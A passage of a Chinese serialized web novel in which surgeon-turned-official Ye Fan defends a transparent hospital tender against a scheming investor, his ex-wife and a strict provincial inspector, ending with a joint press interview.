“要的就是这个效果。”叶凡的声音里透着强大的自信,“清水才敢见底。我们就是要用这种最笨、最透明的方式,告诉所有人,青川县要的是一个能传世百年的好医院,而不是一笔不清不楚的烂生意。谁有真本事,谁就上。想玩歪门邪道,门儿都没有!”
“好!好一个清水见底!”**被叶凡的魄力所感染,豪情顿生,“就按你说的办!我亲自去市里、去省里,给你请专家、请领导来站台!我倒要看看,在阳光底下,是妖魔鬼怪多,还是真心实意干事的人多!”
挂了电话,叶凡的计划已经成型。
这是一步“阳谋”。他把战场从阴暗的角落,直接搬到了最开阔的广场上。华天资本如果想拿下这个项目,就必须按照他的规则来玩。如果他们选择破坏规则,那在全程直播的镜头下,只会死得更难看。
傍晚,叶凡兑现承诺,开车来到江城市,接苏沐秋去吃那顿迟来的庆功宴。
地点是一家环境雅致的私房菜馆。
苏沐秋今天没有穿职业装,而是一身米色的羊绒长裙,长发随意地披在肩上,脸上化了淡妆,少了几分记者的锐利,多了几分江南女子的温婉。
“我们的叶大县长,现在可是青川县的红人啊。”苏沐秋一边给叶凡布菜,一边调侃道,“我今天听我们报社跑青川线的同事说,你现在在青川,那是说一不二,比李县长还管用呢。”
“别听他们瞎说。”叶凡夹起一块晶莹剔透的红烧肉,放进嘴里,肥而不腻,入口即化,“我只是个主刀医生,李县长才是院长。没有院长点头,我连手术室的门都进不去。”
他这个比喻,逗得苏沐秋“噗嗤”一声笑了出来。
“就你歪理多。”她白了叶凡一眼,那风情,让叶凡心头微微一动。
“对了,”苏沐秋忽然想起什么,从包里拿出一份文件递给叶凡,“这是我托人搞到的,华天资本的资料,还有他们那个副总魏东的履历。你看一下,知己知彼。”
叶凡接过文件,快速翻阅起来。
资料很详尽,魏东,三十五岁,海归金融硕士,行事风格激进,尤其擅长利用资本和人脉,在地方政府项目中进行“颠覆式”投资。他主导的好几个项目,都是通过先搅乱原有格局,再以“救世主”的姿态低价介入,手段非常狠辣。
“看来,昨晚堵门,完全是他的标准操作。”叶凡放下文件,若有所思。
“还不止。”苏沐秋压低声音,“我查到一条很有意思的信息。魏东在江城,和你前妻柳如烟,走得很近。”
叶凡的眉头,不易察觉地皱了一下。
“他们经常在一些高端酒会和私人俱乐部里碰面。有人说,华天资本正在和市电视台谈一个深度的战略合作,而柳如烟,是这个项目的主推人之一。”苏沐秋看着叶凡的眼睛,想从里面读出些什么。
叶凡的表情却很平静,只是端起茶杯,喝了口茶。
柳如烟。
这个名字,像一根早已愈合的伤口里,被遗忘的缝合线,忽然被扯动了一下,带来一丝微弱却清晰的刺痛。
他亲手埋葬了柳家,但柳如烟这个个体,却像一棵被砍断主干后,从旁边又生出新芽的藤蔓,依然在那个圈子里,顽强地生长着。
资本和媒体的结合,魏东和柳如烟……
叶凡瞬间嗅到了一丝不同寻常的味道。
魏东对付自己,如果只是为了一个项目,似乎用不着搞得这么复杂。难道,这背后还有别的原因?
或者说,柳如烟在这其中,扮演的,不仅仅是一个“商业伙伴”的角色?
看到叶凡陷入沉思,苏沐秋的心里莫名地有些发堵。她知道自己不该提柳如烟,但作为记者和“战友”,她有责任把所有关键信息告诉叶凡。
“别多想。”苏沐秋给自己找了个台阶,语气故作轻松地说,“也许只是正常的商业往来。毕竟,你前妻现在是电视台的红人,想跟她合作的人多了去了。”
叶凡抬起头,对她笑了笑,那笑容里没有苏沐秋担心的阴霾,反而带着一种洞悉一切的了然。
“我没多想。”他伸出手,轻轻覆在苏沐秋放在桌上的手背上,她的手很凉,被他温热的掌心一碰,微微颤抖了一下。
“我只是在想,一场手术,清除了一个病灶,但术后复查,却发现有癌细胞转移的迹象。”叶凡的拇指,在她的手背上轻轻摩挲着,“看来,我得调整一下治疗方案,除了外科手术,可能还需要配合一点……化疗了。”
苏沐
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秋被他大胆的动作弄得脸颊发烫,想抽回手,却被他牢牢握住。
“什么……化疗?”她感觉自己的心跳,快得像要从嗓子眼蹦出来。
叶凡凝视着她,眼睛里闪烁着慧黠的光芒,他凑近了一些,压低声音,在她耳边说了一句话。
苏沐秋听完,先是一愣,随即眼睛越睁越大,最后,脸上露出了混杂着震惊、佩服,还有一丝促狭的笑容。
“叶凡,你……你也太坏了吧!”
……
两天后,青川县国际医院项目全球公开招标新闻发布会,在江城市最高档的酒店宴会厅举行。
省市相关部门领导、数十家国内外顶级的投资机构、建筑公司、医疗集团的代表,以及三十多家主流媒体,将整个会场挤得水泄不通。
叶凡作为项目总负责人,站在发布台的中央,侃侃而谈。他没有念稿子,而是用最平实的语言,描绘着他对这座未来医院的设想——它不仅是一个治病的地方,更是一个集康养、科研、人文关怀于一体的,属于江城乃至全省人民的健康地标。
他宣布的“全程透明、网络直播”的招标方式,更是像一颗重磅**,在会场引起了巨大的轰动和议论。
苏沐秋的《江城晚报》,第二天用整个头版,刊登了这次发布会的盛况,标题是——《一场在阳光下的伟大实验:青川,以一座医院赌明天!》。
而在江城市中心一座摩天大楼的顶层办公室里。
魏东面色阴沉地看着电脑屏幕上的新闻,将手里的雪茄,狠狠地按死在烟灰缸里。
“蠢货!一群蠢货!”他低声咒骂着,“谁能想到,一个从乡镇爬上来的泥腿子,竟然敢玩这么大!”
公开招标,全程直播,这等于把他所有擅长的手段都给废了。在绝对的阳光下,任何鬼魅伎俩都无所遁形。
办公桌上的电话响了。
魏东拿起电话,不耐烦地“喂”了一声。
“魏总,是我。”电话那头,传来一个清冷而骄傲的女声。
是柳如烟。
“有什么事?”魏东的语气缓和了一些,但依旧带着火气。
“我看到了青川的新闻。”柳如烟的声音里听不出什么情绪,“叶凡他……好像跟你想的不太一样。”
“哼,他是不太一样。他不是个医生,他是个疯子!”魏东冷哼道,“他想用一套理想主义的规则,来挑战这个世界运行了上百年的潜规则,他会死得很难看!”
“是吗?”柳如烟轻轻地反问,“可我怎么觉得,他好像……乐在其中呢?”
魏东被她这句话噎了一下,脸色更加难看。
“柳如烟,我不管你心里怎么想。”魏东的耐心似乎耗尽了,“别忘了我们的约定。我帮你重振柳家的声望,让你在电视台的地位无可动摇。而你,需要帮我办一件事。”
“你说。”
魏东的眼中,闪过一丝阴狠的光芒。
“叶凡不是喜欢在阳光下做事吗?那我就让所有人都看看,他这身白大褂底下,到底有多脏!”
“他不是想当圣人吗?我就把他拉下神坛,让他身败名裂!”
“我要你,动用你所有的关系和资源,去挖他的黑料。任何黑料都行,私生活的,经济上的,捕风捉影的,都行!”
电话那头,陷入了长久的沉默。
“怎么?做不到?”魏东的语气变得危险起来,“还是……舍不得?”
“……好。”
许久,柳如烟终于吐出了一个字。
挂了电话,魏东看着窗外的车水马龙,脸上重新浮现出狰狞的笑容。
他就不信,这个世界上,有扒不掉底裤的圣人。
叶凡,你既然要跟我玩,我就陪你玩到底!
第181章 第二战场!
返回青川的路上,叶凡没有开快车。
江城市的璀璨灯火在后视镜中渐渐远去,像一场盛大而疏离的梦境。
夜风从车窗的缝隙里灌进来,带着初冬的凉意,吹散了车内那丝属于私房菜馆的温暖气息,也让叶凡的头脑愈发清醒。
柳如烟。
这个名字在他心里,已经很久没有激起过波澜了。
离婚时的**,被柳家父子扫地出门的狼狈,都随着他在青山镇的崛起,被他当作战利品和垫脚石,尘封在了记忆的角落。
他以为自己早已将这段过去当成一具冰冷的尸体,彻底解剖、埋葬。
可今晚,当苏沐秋说出“魏东和柳如烟走得很近”时,那具被埋葬的尸体,仿佛动了一下。
不是死而复生,而是一种尸检报告上遗漏的、新的病理发现。
他并不觉得心痛,更没有旧情复燃的可能。
那是一种更复杂的感觉,像一个外科医生发现自己精心切除的肿瘤,其恶性细胞早已通过淋巴系统,转移到了一个意想不到的脏器上。
愤怒吗?
有一点。
但更多的是一种冰冷的、近乎于兴奋的战栗。
他终于明白华天资本的魏东为何一出手就如此不留余地,招招都透着一股私仇般的狠辣。
原来这不单单是一场商业的博弈,更是一个男人为了在另一个女人面前展示力量,而发起的狩猎。
柳如烟,她在这场狩猎中到底扮演了什么角色?
是向导,是帮凶,还是新的战利品?
叶凡的嘴角无声地勾了一下。
有意思。
他原以为自己和柳如烟的战场,早已随着柳传明的倒台而终结。
没想到,在他看不见的地方,第二战场早已悄然开辟。
也好。
他拿起手机,拨通了苏沐秋的电话。
“到哪了?”电话那头的声音带着一丝慵懒的鼻音,显然是准备睡了,却又在等这个电话。
“刚上高速。”叶凡的声音很稳,“睡不着?”
“等你这个主刀医生下手术台,给我们这些家属一个交代啊。”苏沐秋在那头轻笑,话里有话。
“交代就是,病理报告出来了,比预想的要复杂一点。”叶凡把着方向盘,看着前方被车灯切开的黑暗,“肿瘤有远处转移的迹象,需要调整治疗方案。”
“说人话。”
“魏东的背后有柳如烟的影子。他们想把我拉下马,柳如烟恐怕是动了真格的。”
电话那头沉默了几秒。
苏沐秋的呼吸声清晰可闻。
“你没事吧?”她问得很小心,像是在触碰一个易碎的东西。
“我能有什么事?”叶凡笑了,“我只是在想,我之前跟你说的‘化疗’方案,得提前开始了。”
“什么方案?你那天神神秘秘的,到底想干什么?”苏沐秋的好奇心被彻底勾了起来。
“他们想挖我的黑料,无非是想从‘德’这个字上做文章,把我塑造成一个**子,一个沽名钓誉的小人。”叶凡看着前方无尽的公路,“对付这种**攻击,最好的办法不是等他出招了再去格挡,而是提前抢占高地,把自己打造成一座他们泼不上脏水的丰碑。”
“怎么抢?”
“我要你给我做一篇专访。”叶凡一字一句,说得清晰无比。
“专访?”苏沐秋愣住了,“现在?这不成了你个人的宣传稿了?太刻意了,读者会反感的。”
“不,不是那种**的宣传稿。”叶凡的眼中闪着光,“我要一篇解剖报告。”
“解剖报告?”
“对。我要你用你最犀利的笔,像一把手术刀一样,把我从里到外,解剖给所有人看。”叶凡的语气里带着一种不容置疑的掌控力,“专访的题目我都想好了,就叫——《从手术台到主席台:一个外科医生的“治政”逻辑》。”
“我要你问最尖锐的问题。问我为什么放弃前途无量的医生职业,跑到乡镇‘自甘堕落’。问我一个拿手术刀的,凭什么对管理一个县指手画脚。问我到底是‘为民**’,还是‘追逐权力’。”
“我要把我的理念,我的‘外科手术式’执政逻辑,通过你的笔,原原本本地告诉所有人。我要让所有人知道,我叶凡做事,有我自己的一套准则和底线。这个过程,不是为了塑造一个完人,恰恰相反,是为了展示一个有血有肉、有优点也有缺点的,但始终在‘解决问题’的人。”
“这……”
苏沐秋被叶凡这番话彻底镇住了。
这哪里是专访,这分明是一场精心策划的“**手术”!
在对手泼脏水之前,自己先把衣服脱了,把自己身体的每一块肌肉、每一道伤疤,都清晰地展示给公众看。
当所有人都看清了你的构造,承认了你的强壮,那些偷鸡摸狗的污蔑,就成了无的放矢的笑话。
高明!
实在是太高明了!
“怎么样,苏大记者,敢不敢接这台手术?”叶凡的语气里带着一丝调侃。
“接!为什么不接!”苏沐秋的声音里透着兴奋,“这么精彩的手术,我可不想错过!不过叶县长,我可不是你的御用记者,我的采访,是要收费的。”
“哦?怎么收费?”
“嗯……”苏沐秋在那头拖长了声音,似乎在认真思考,“就罚你再给我做一顿红烧肉吧。这次,我要看着你做。”
最后那句话,她说得又
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轻又快,带着一丝不易察觉的羞赧。
叶凡的心像是被羽毛轻轻扫过,痒痒的。
“一言为定。”
挂了电话,车内的气氛仿佛又温暖了起来。
就在这时,他的私人手机响了。是县长**的号码。
这么晚了,**一般不会打这个电话。
叶凡心里一动,接了起来。
“叶凡,出岔子了。”**的声音,前所未有的凝重。
“怎么了,李县长?”
“省里对我们那个‘全程直播’的招标方案,很感兴趣。省发改委今天下午开了个会,定了调子,说我们青川县的创新精神值得肯定,要派一个观察组下来,全程观摩指导。”
“这不是好事吗?”叶凡有些不解。
“好事?”**苦笑一声,“好就好在,省里重视了。坏就坏在……他们派下来的那个组长。”
“是谁?”
“省发改委重大项目稽查办的主任,周启明。”
叶凡的脑子里迅速搜索着这个名字,一无所获。
“这个人,在省里有个外号,叫‘项目阎王’。”**的声音压得更低了,“他经手的项目,十个里面有八个要被他找出问题打回去,还有两个被他直接砍掉。为人刻板、油盐不进,六亲不认。最要命的是,他是个彻头彻尾的‘程序主义者’,任何事情,只要在他看来程序上有一丝一毫的瑕疵,他就会无限放大,直接一票否决。”
“把他派下来,名义上是‘观摩指导’,实际上,就是来给我们挑刺找茬的。我们的招标方案,最讲究的就是效率和创新,很多地方必然会打破常规。这要是落到他手里……”
**没有说下去,但意思已经很明显了。
叶凡的眉头第一次紧紧地锁了起来。
一个魏东,一个柳如烟,他可以当成一场精彩的博弈。
但这个周启明,却像一个不按套路出牌的第三方变量,一个突然出现在手术室里,手持法规条例,随时准备叫停你手术的卫生检察官。
这比魏东的阴谋,要难缠得多。
“李县长,这个周启明跟华天资本有没有关系?”叶凡问出了最关键的问题。
“查过了,明面上,半点关系都没有。他家三代贫农,自己也是从基层一步步考上去的,清廉得像个苦行僧。所以,他才更可怕。”**叹了口气,“他不是谁的人,他只是‘规则’的奴隶。”
叶凡沉默了。
他忽然想起一句话:最坚固的堡垒,往往是从内部攻破的。
魏东他们或许就是想借周启明这把最正义、最无可指摘的刀,来堂堂正正地,将他叶凡的宏伟蓝图,一刀毙命。
这盘棋,越来越有意思了。
第182章 压力测试!
三天后,青川县政府大院,气氛肃杀。
一辆黑色的奥迪A6稳稳停在办公楼前,车牌号显示着它来自省城。
**和叶凡带着一众县领导,早已等在门口。
车门打开,一个五十岁上下的男人走了下来。
他身材清瘦,穿着一身半旧的深色夹克,领口的扣子扣得一丝不苟。
头发梳理得整整齐齐,但鬓角已经斑白。
他的脸上没什么表情,一副金丝边眼镜后面,是一双古井无波的眼睛。
他就是周启明,外号“项目阎王”。
“周主任,欢迎您莅临青川指导工作!”**满脸堆笑地迎了上去,伸出双手。
周启明只是轻轻地和他握了一下手,便松开了,目光扫过在场的众人,淡淡地开口:“客套话就免了。李县长,我的时间很紧,直接开始工作吧。”
一句话就把**准备好的一大套欢迎词,全都堵了回去。
县长办公室里,气氛压抑得像暴风雨前的海面。
周启明没有坐沙发,而是直接坐在了办公桌前,拿出一个陈旧的笔记本和一支钢笔。
“叶凡同志,是哪位?”他推了推眼镜。
“周主任,我就是。”叶凡站了出来,不卑不亢。
周启明的目光像CT扫描仪一样,在叶凡身上来回扫了两遍,看得人心里发毛。
“你就是那个提出‘全程直播招标’的常务副县长?”他的语气里听不出是褒是贬。
“是我。”
“想法很大胆,甚至可以说很天真。”周启明毫不客气地评价道,“政府项目牵扯方方面面的利益和程序,每一步都要慎之又慎。你把它变成一场**秀,哗众取宠的成分大于实际意义。”
这话一出,在场的几个副县长,脸上都露出了幸灾乐祸的表情。
尤其是之前被叶凡压了一头的赵立新,嘴角更是忍不住微微上扬。
“周主任批评得是。”叶凡却像是没听出话里的刺,反而一脸诚恳地点了点头,“我们确实有考虑不周的地方,所以才更需要您这样的专家,来为我们把关纠偏。”
他顿了顿,话锋一转:“在我看来,这次招标就像一台高难度的‘心肺联合移植’手术。手术方案再完美,也需要最严格的术前检查和术中监护。您和您带领的观察组就是我们这台手术的‘首席麻醉师’和‘术中监护团队’。只有你们点头,我们这把主刀的,才敢动刀。”
这番比喻,让在场所有人都愣住了。
把一个来找茬的“阎王”,比作保驾护航的“麻醉师”?
周启明的脸上也第一次露出了一丝意外的表情。
他扶了扶眼镜,镜片后的目光似乎闪动了一下。
“比喻倒是很新颖。”他哼了一声,不置可否,“那就让我看看你们的‘术前检查’,做得怎么样了。”
他打开带来的公文包,拿出一份文件:“这是你们上报的《青川县国际医院项目招标委员会筹备方案》,我看过了。问题很多。”
他指着文件的一处,语气变得严厉起来:“这里,你们提出,为了提高效率,招标委员会的专家评审组,可以由县里自行聘请一部分,市里推荐一部分。这是严重违规!《招标投标法》明确规定,重大项目的专家库成员必须从省级或国家级专家库中随机抽取。你们这是想自己当裁判,又当运动员吗?”
赵立新一听,眼睛都亮了,立刻插话:“周主任说得对!叶县长,当时我就提出过这个问题,但你为了赶进度,没有采纳。这要是将来出了问题,我们整个县委县政府都要担责任的!”
他这是想借周启明的手,把叶凡架在火上烤。
所有人的目光都聚焦在了叶凡身上。
“赵部长记错了。”叶凡的表情依旧平静,“我当时说的是,‘聘请’和‘抽取’是两个概念。我们聘请的是项目的‘前期顾问’,负责帮助我们制定科学的招标技术参数和标准,他们不参与最终的评标打分。而最终的评标专家,我们当然会严格按照规定,向省里申请,在观察组的监督下,随机抽取。”
他转向周启明,微微欠身:“周主任,您看,我们的方案附件三里,有详细的说明。或许是我们写得不够清晰,让您产生了误解。”
周启明愣了一下,迅速翻到附件三,仔细看了起来。
果然,上面白纸黑字,写得清清楚楚。
他的脸微微有些发烫。
自己这是先入为主,差点闹了个笑话。
“哼,文字游戏。”他嘴上不饶人,但语气里的**味明显淡了一些。
接下来的一个小时,就成了周启明的个人“挑刺秀”。
“你们的土地勘测报告,为什么用的是三个月前的数据?地质情况随时在变,必须重新做!”
“项目环保评估,只考虑了施工阶段的污染,运营后的医疗废物处理、噪音影响,评估了吗?”
“资金审计,为什么只审计了县财政的出资部分?社会资本方的验资报告呢?担保方的资质审核呢?”
每一个问题,都像一把锋利的小刀,精准地扎在项目的软肋上。
在场的干部们被问得汗流浃背,哑口无言。
只有叶凡,始终保持着镇定。
周启明每提出一个问题,他都认真地记录下来,然后诚恳地回答:“您说得对,这个我们马上补充。”,“谢谢您提醒,这个漏洞必须堵上。”,“这个问题我们考虑到了,解决方案在第十五页……”
他不像是在接受审查,更像一个学生,在虚心聆听老师的教诲。
这让憋足了劲想看叶凡出丑的赵立新,感觉一拳打在了棉花上,说不出的难受。
终于,周启明似乎也问累了。
他喝了口已经凉掉的茶,抛出了最后一个,也是最致命的问题。
“说了这么多,都是技术层面的。我只问一个根本问题。”他盯着叶凡,“一个投资几十亿的项目,你们青川县,一个财政收入在全市垫底的农业县,拿什么来支撑?项目建成
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后,每年的运营、维护、折旧,都是天文数字。一旦资金链断裂,这哪里是什么地标,分明就是一座巨大的烂尾楼!这个风险,你评估过吗?”
全场死一般的寂静。
这是所有人心中的疑问,也是这个项目最大的命门。
**的后背已经湿透了。
叶凡却笑了。
他站起身,走到旁边的白板前,拿起一支笔。
“周主任,您问到点子上了。”
他没有直接回答,而是在白板上画了一个复杂的结构图。
“我们对这个项目,设计了一套‘全周期多维度风险对冲模型’。”叶凡的声音,充满了自信,“首先,在资金来源上,我们采取‘财政+国资+社会资本+专项债券+国际低息贷款’的五源结构,任何一方出现问题,其他四方可以立刻启动补位机制。”
“其次,在运营模式上,我们不搞大包大揽。医院的核心医疗业务,我们将面向全球,招标最顶级的医疗管理集团进行托管运营。而医院的康养、商业、物业等非核心业务,将分拆成独立的盈利单元,进行市场化运作。这几块的预期收益,不仅能完全覆盖运营成本,还能反哺医疗主业。”
“最后,也是最关键的,我们为这个项目,配备了一份‘对赌协议’和一份‘退出机制’。任何投资方,如果无法完成事先约定的建设或运营目标,将触发惩罚性条款,其股权将由县国资平台低价回购。同时,如果项目在五年内无法实现自我造血,我们将启动B计划,将其转型为省级康养中心,并入省里的康养产业布局,确保项目不会烂尾。”
叶凡一边说,一边在白板上飞快地书写、画图。
复杂的金融模型、清晰的逻辑线条、详实的数据支撑,在他手下,变得一目了然。
整个办公室的人,包括**在内,全都看傻了。
他们第一次知道,一个政府项目,居然还可以这么玩!
周启明也彻底愣住了。
他摘下眼镜,揉了揉眼睛,死死地盯着白板上那个堪比投资银行教科书级别的模型图。
他审查过的项目,没有一百也有八十,但从未见过如此缜密、超前的风险控制方案。
这哪里是一个县级干部能做出来的东西?
“这些……都是你做的?”周启明的声音,第一次带上了一丝难以置信的颤抖。
“是我和我团队的初步设想,还很粗糙,正想请周主任您这样的专家,帮我们斧正。”叶凡放下笔,谦虚地说道。
周启明沉默了。
他看着叶凡,那个眼神不再是审视,而是像一个老匠人,在看一块上好的璞玉。
他忽然明白,为什么省里那几位老领导会默许青川县搞这么大的动作了。
他们赌的或许不是这个项目,而是眼前这个年轻人。
就在这时,秘书小张敲门进来,快步走到叶凡身边,压低声音道:“叶县长,市电视台的记者来了,说是要采访您。带队的,是柳如烟。”
第183章 手术刀与麦克风!
柳如烟来了。
这个消息,像一颗投入平静湖面的石子,在叶凡心里漾开了一圈微不可察的涟漪,但很快就恢复了平静。
他早就料到,她会来。
魏东的“外科手术”失败了,那么柳如烟的“媒体化疗”自然就要登场。这是他们计划中的一环。
“知道了。”叶凡对小张点了点头,表情没有丝毫变化。
他转向周启明,笑道:“周主任,您看,我们的‘**秀’,女主角都到场了。要不,您也一起给我们的专访做个指导?”
一句玩笑话,既是告知,也是一种姿态。
他就是要让所有人都知道,他的工作是完全开放和透明的,经得起任何人的检阅,无论是“阎王”,还是前妻。
周启明深深地看了他一眼,重新戴上眼镜,站起身。
“我的工作是监督项目,不是上电视。”他顿了顿,又补充了一句,“不过,你们的办公室太小了,闷。我出去走走。”
说完,他便径直走了出去,方向正是县政府大院的广场。
这老狐狸。
叶凡心里暗笑。嘴上说着不看,身体却很诚实。
县政府的会客室里。
柳如烟坐在沙发上,身姿挺拔。
她今天穿了一身剪裁得体的白色香奈儿职业套裙,画着精致而疏离的妆容,一头大波浪卷发打理得一丝不苟。
她是江城电视台的当家花旦,无论走到哪里,都是人群的焦点。
但今天,她有些心神不宁。
她看着这间朴素甚至有些陈旧的会客室,闻着空气中那股独属于基层政府的、混杂着茶叶和香烟的味道,一种强烈的割裂感涌上心头。
她无法将这个地方和那个曾经在她家里,连大气都不敢喘一口的叶凡,联系在一起。
她派来的记者碰了一鼻子灰,带回去的,全是些“叶县长是好人”、“叶县长为我们做主”之类的废话。
这让她又气又恼,最后,她决定亲自出马。
她不信,这个世界上有不偷腥的猫。
她要亲眼看看,叶凡到底变成了什么样。
门开了,叶凡走了进来。
四目相对的瞬间,柳如烟的心没来由地漏跳了一拍。
眼前的男人,穿着简单的白衬衫和深色西裤,外面套着一件普通的干部夹克。
他瘦了一些,但眼神却和以前完全不同了。
不再是那种温和、内敛,甚至带着一丝讨好的光。
现在的这双眼睛,锐利、沉静,像深不见底的潭水,带着一种洞悉一切的压迫感。
他只是平静地站在那里,整个会客室的气场,仿佛都以他为中心,重新构建了。
“柳部长,大驾光光临,有失远迎。”叶凡率先开口,打破了沉默。
他称呼她为“柳部长”。
柳如烟最近刚刚被提拔为市电视台新闻部的副部长,主管深度报道。
这个称呼,精准、客气,却又像一刀,将两人之间所有过往的温情,割得干干净净。
“叶县长客气了。”柳如烟迅速调整好心态,恢复了职业化的微笑,“早就听说叶县长在青川大刀阔斧,政绩斐然,我们新闻部,想给您做一期深度专访,不知道叶县长,肯不肯赏光?”
她的话,说得滴水不漏,充满了官方的客套。
“求之不得。”叶凡拉开一张椅子,在她对面坐下,“不过,柳部长可能来晚了一步。”
“哦?”
“我已经约了《江城晚报》的苏沐秋记者,为我做专访。”叶凡的语气很平淡,像是在陈述一件微不足道的小事,“如果柳部长不介意,可以和苏记者一起。我想,两位都是业界精英,或许还能碰撞出不一样的火花。”
柳如烟脸上的笑容僵硬了一瞬。
苏沐秋!
又是这个名字!
她知道苏沐秋,一个刚刚崭露头角,文笔却异常犀利的新人。
她更知道,当初扳倒自己父亲柳传明的那篇关键报道,就出自这个女人的手笔!
叶凡这是什么意思?
向她**?
还是故意羞辱她?
让她和自己的“仇人”一起,采访自己的前夫?
一股难以言喻的怒火和**,从心底窜了上来。
“叶县长说笑了。”柳如烟几乎是咬着牙,才维持住脸上的体面,“我们电视台的专访,向来是独立的。既然叶县长已经有了安排,那我们就不打扰了。”
她站起身,准备离开。
这场仗,还没开始,她就已经输了。
“柳部长,别急着走啊。”叶凡的声音悠悠地从身后传来。
他靠在椅背上,好整以暇地看着她:“专访做不成,但既然来了,不如我带柳部长在青川,随便走走,看看风景?”
柳如烟的脚步顿住了。
她很想立刻摔门而去,但理智告诉她,不能。
她今天代表的是电视台,如果就这么走了,传出去,只会让人觉得她柳如烟气量狭小,公私不分。
“好啊。”她转过身,重新挂上完美的笑容,“那就麻烦叶县长了。”
她倒要看看,他葫芦里卖的什么药!
半小时后,一辆普通的公务车,行驶在通往青山镇的路上。
车里,气氛诡异。
开车的,是秘书小张。
后座上,坐着叶凡和柳如烟。
两人之间,隔着一个人的距离,谁也没有说话。
柳如烟看着窗外飞速**的景象。
道路两旁,是新修的绿化带,远处,一些老旧的厂房正在被拆除,取而代之的,是规划整齐的工地。
这里和她印象中的那个破败、落后的青川,已经完全不同了。
“这里,以前是县里污染最严重的石料厂。”叶凡忽然开口,打破了沉默,“粉尘漫天,污水横流,周围村子的居民,肺病和皮肤病的发病率,是全县平均水平的三倍。”
他指着远处一片正在建设的住宅区:“现在,石料厂关了,污染源没了。我们在这里规划了保障性住房,优先分给那些曾经饱受污染之苦的村民。”
柳如烟没有作声,只是嘴唇微微抿了一下。
车子继续前行,来到了青山镇。
崭新的柏油路,路灯上挂着宣传“城乡医疗一体化”的标语。
镇中心,曾经
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那个破败的乡镇医院,如今已经翻修一新,挂上了“青川县第一人民医院青山分院”的牌子,进进出出的人络绎不绝。
“还记得这里吗?”叶凡看着那座医院,语气里带着一丝莫名的意味。
柳如烟的心被狠狠地刺了一下。
她怎么会不记得。
这里,是叶凡被“发配”来的地方,是她和她整个家族都引以为耻的地方。
“变化……挺大的。”她干巴巴地说了一句。
“是啊,变化挺大。”叶凡转过头,看着她,“我刚来的时候,这里连一台像样的心电图机都没有。一场阑尾炎手术,都可能要了人的命。”
“现在,这里可以做微创的心脏搭桥。县医院的专家每周来坐诊三天,镇里的老百姓,再也不用为了看个病,跑到几十公里外的县城了。”
他的声音很平静,没有炫耀,没有卖弄,只是在陈述一个事实。
但每一个字,都像一记耳光,火辣辣地打在柳如烟的脸上。
她忽然发现,自己今天犯了一个天大的错误。
她不该来。
她以为自己是来猎杀的,却没想到自己才是那个被放在解剖台上,被一刀刀凌迟的猎物。
叶凡带她看的每一个地方,说的每一句话,都在无声地告诉她:
看,这就是你当初看不起的“废物”,正在做的事情。
看,这就是你当初鄙夷的“泥潭”,如今开出的花。
看,你和我,早已不是一个世界的人了。
车子停在了镇政府门口。
叶凡没有下车,只是对小张说:“去把苏记者请过来吧,就说,另一位‘主治医生’也到了,可以开始‘会诊’了。”
很快,苏沐秋从镇政府里走了出来。
她穿着一身干练的牛仔裤和白T恤,扎着高高的马尾,脸上带着阳光的笑容,像一阵清新的风。
当她看到车里的柳如烟时,愣了一下,但随即眼中闪过一丝了然和慧黠。
“柳部长,你好。”她主动伸出手,笑容坦荡。
柳如烟看着眼前这个年轻、充满活力的女孩,再看看她和叶凡之间那种无需言语的默契,一股从未有过的挫败感,将她彻底淹没。
她僵硬地伸出手,和苏沐秋握了一下。
“好了,两位大记者。”叶凡下了车,伸了个懒腰,“我的时间不多,我们就在这里,开始吧。”
他指着身后焕然一新的青山镇,指着远处欣欣向荣的田野和工厂,脸上露出一种发自内心的笑容。
“这里,就是我的手术室。”
“这里,也是我的答卷。”
阳光下,他的身影被拉得很长。
柳如烟看着他,忽然觉得无比的陌生。
她意识到自己输了,输得一败涂地。
不是输给了苏沐秋,而是输给了时间,输给了自己的傲慢和偏见。
而远在江城的魏东,还在等着她的“黑料”。
他永远也等不到了。
因为柳如烟知道,当一个男人将天地都当成了自己的手术台时,任何试图泼在他身上的脏水,最终都只会蒸发成一缕无足轻重的青烟。
第184章 会诊,也是验尸!
阳光正好,落在青川镇政府门前新铺的广场上,暖洋洋的。
但这暖意,丝毫无法驱散三人之间那近乎凝固的空气。
柳如烟的采访车停在不远处,摄影师扛着机器,一脸不知所措地看着自己的领导。
苏沐秋的录音笔握在手里,神情平静,像个等待开庭的律师。
叶凡打破了沉默,他没有邀请两人去会客室,反而指了指广场中央那棵巨大的黄桷树。树下有几排供人休息的长椅。
“就在那儿吧。”他说,“我的办公室,就是整个青川。在这里,两位记者看得更清楚,问得也更明白。”
这是一种姿态,一种不设防的坦荡。
柳如烟的指甲在采访本的皮质封面上划过一道无声的印痕。
她知道,从地点选择开始,她就已经输了先手。
三人落座。
几个路过的镇民好奇地张望,看到是叶凡,都热情地笑着打招呼,喊一声“叶县长”。
叶凡也笑着点头回应,那份熟稔和自然,让柳如烟心头又是一堵。
“那么,我们开始吧。”柳如烟强迫自己进入工作状态,她打开话筒,将电视台的台标对准叶凡,声音恢复了播音员特有的清冷和专业。
“叶县长,外界对您有一个普遍的疑问。您曾是江城市最顶尖的心外科医生,前途无量。为什么会突然放弃专业,选择一条完全陌生的仕途之路?很多人认为,这是一种专业上的巨大浪费,甚至是一种逃避。您怎么看?”
这个问题,像一把淬了毒的柳叶刀,精准地刺向叶凡的过往。
逃避什么?
不言而喻。
苏沐秋的眉梢轻轻挑了一下,看向柳如烟的眼神里,多了一分审视。
叶凡却笑了,他看着不远处焕然一新的镇医院,声音平静得没有一丝波澜。
“柳部长,首先我要纠正一点,我没有转行,更没有逃避。”他伸出一根手指,“我只是换了一个更大的手术室。”
“以前,我的手术室只有十几平米,我的病人是一个人。现在,我的手术室是整个青山镇,乃至整个青川县,我的病人,是一座城。”
他收回手指,目光转向柳如烟,那眼神锐利得让她无法回避。
“病人的病灶不同,但手术的逻辑是相通的。发现病灶,精准诊断;制定方案,果断切除;最后,要用最细的线,做最完美的缝合,促进肌体康复。关停污染的石料厂是切除,搞城乡医疗一体化是缝合,凤凰湖项目,就是一次大型的**。所以,我做的,还是医生的本职工作——治病救人。”
一番话,行云流水,掷地有声。
不仅柳如烟愣住了,连远处的摄影师都听得忘了调整焦距。
苏沐秋的眼中亮起一抹异彩。
她知道,这是叶凡第一次如此系统地,在媒体面前阐述他的执政哲学。
而这个机会,是柳如烟亲手奉上的。
“说得很好。”苏沐秋顺势接过话头,她的问题同样犀利,却像一把协助主刀的器械,目的不是攻击,而是为了让手术更完美。
